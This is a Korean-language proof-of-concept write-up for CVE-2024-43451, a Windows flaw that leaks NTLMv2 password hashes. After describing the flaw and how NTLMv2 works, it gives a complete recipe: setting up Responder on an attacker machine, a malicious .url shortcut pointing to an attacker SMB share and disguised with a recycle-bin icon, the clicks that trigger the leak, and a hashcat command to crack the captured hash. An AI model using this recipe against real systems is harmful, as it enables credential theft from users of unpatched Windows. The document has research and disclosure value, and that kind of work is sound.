설명

• 이름 : CVE-2024-43451
• CVSSv3 점수 : 6.5
• 영향받는 버전 : 2024년 11월 패치 이전의 모든 Microsoft Windows 버전

CVE-2024-43451은 Microsoft Windows의 제로데이 취약점으로, 사용자의 최소한의 상호작용만으로 NTLMv2 비밀번호 해시를 캡처할 수 있게 하여 잠재적으로 자격 증명 도난으로 이어집니다. 일반적으로 악용되는 방법은 원격 서버에 대한 SMB 연결을 통해 NTLM 인증을 활용하여 해시를 캡처하는 것입니다. 이 취약점은 2024년 11월 업데이트에서 패치되었습니다. 사용자는 관련 보안 업데이트를 적용하여 위험을 완화하는 것이 좋습니다.

이 공격은 손상된 우크라이나 정부 서버에서 보낸 피싱 이메일을 통해 활발히 악용되고 있는 것으로 발견되었습니다. 이메일에는 악성 URL 파일이 포함되어 있습니다. 사용자가 해당 파일을 마우스 오른쪽 버튼으로 클릭하거나, 삭제하거나, 이동하는 등의 상호작용을 하면 취약점이 활성화됩니다. 이로 인해 공격자의 서버에 대한 연결이 트리거되어 SparkRAT 악성코드(공격자가 피해자 시스템을 제어할 수 있게 해주는 오픈소스 원격 액세스 트로이 목마)와 같은 추가 악성 파일이 다운로드됩니다.

NTLM 인증

NTLMv2는 현재 가장 안전한 버전이며 오늘날 가장 관련성이 높습니다.

• 클라이언트가 서버에 연결하여 리소스에 대한 액세스를 요청합니다.
• 서버는 nonce(16바이트 무작위 챌린지)를 생성하여 클라이언트에 보냅니다.
• 클라이언트는 HMAC-MD5 알고리즘을 사용하여 생성된 응답을 보냅니다. 여기에는 비밀번호 해시(NT 해시 알고리즘 사용), 서버 nonce, 타임스탬프, 클라이언트 nonce 등이 포함됩니다.
• 서버는 NT 해시를 사용하여 동일한 계산을 반복하여 자체 NTLM 응답을 생성하고, 각각 자체 응답을 가지게 되면 비교할 수 있습니다.
• 비교 후 서버는 연결을 수락할지 거부할지 결정합니다.

image

익스플로잇

POC 설정

이 POC를 위한 작업 환경을 만들려면 2024년 11월 이전에 출시된 빌드 번호를 가진 대상 Windows 시스템과 해시 캡처를 시뮬레이션할 원격 서버를 설정해야 합니다:

1. Responder를 다운로드하고 설치하여 SMB를 통해 해시를 캡처합니다:
   root@kitploit:~

   brew install python3
   

   root@kitploit:~

   git clone https://github.com/lgandx/Responder.git
   

   root@kitploit:~

   cd Responder
   

   root@kitploit:~

   sudo python3 Responder.py -I <네트워크 인터페이스 입력> -v
   

2. 대상 Windows VM과 원격 "해커" 환경 간에 성공적인 연결이 있는지 확인합니다.
3. 탐색기로 이동하여 \\(원격 서버 IP)를 입력하여 Responder 설정을 테스트합니다:

익스플로잇 생성

익스플로잇이 필요한 것은 원격 서버와의 SMB 연결을 만드는 것뿐이므로, 간단한 파일을 사용하여 이를 시뮬레이션할 수 있습니다:

1. 메모장을 엽니다.
2. 다음을 입력합니다:
   사용자를 속일 아이콘은 원하는 대로 입력할 수 있습니다. 저는 "꽉 찬 휴지통" 아이콘(32)을 사용했습니다.
   root@kitploit:~

   [InternetShortcut]
   URL=\\(원격 서버 IP)\share
   IconIndex=32                    
   IconFile=C:\Windows\System32\shell32.dll
   

3. (이름).url로 저장합니다.

활성 프로세스

파일이 준비되어 대상 시스템에 전달되면, 해시를 훔치는 데는 최소한의 사용자 상호작용만 필요합니다. 이 상호작용은 다음 작업 중 하나를 포함할 수 있습니다:

• 파일을 다운로드하고 "다운로드" 폴더에 액세스
• 파일을 마우스 오른쪽 버튼으로 클릭
• 파일을 다른 폴더로 이동

https://github.com/user-attachments/assets/fd6389b5-4ee9-4d90-a76e-562394b24058

https://github.com/user-attachments/assets/b820ea73-b0fc-40f1-920e-28cf7869f1e2

크래킹

암호화되지 않은 해시를 손에 넣으면, 이를 크래킹하여 평문 비밀번호를 알아내거나 Mimikatz 또는 Metasploit과 같은 도구를 사용한 "Pass-the-Hash" 공격에 사용할 수 있습니다.

우리의 경우 간단한 Hashcat 명령으로 내 비밀번호가 드러납니다: hashcat -m 5600 leak.txt rockyou.txt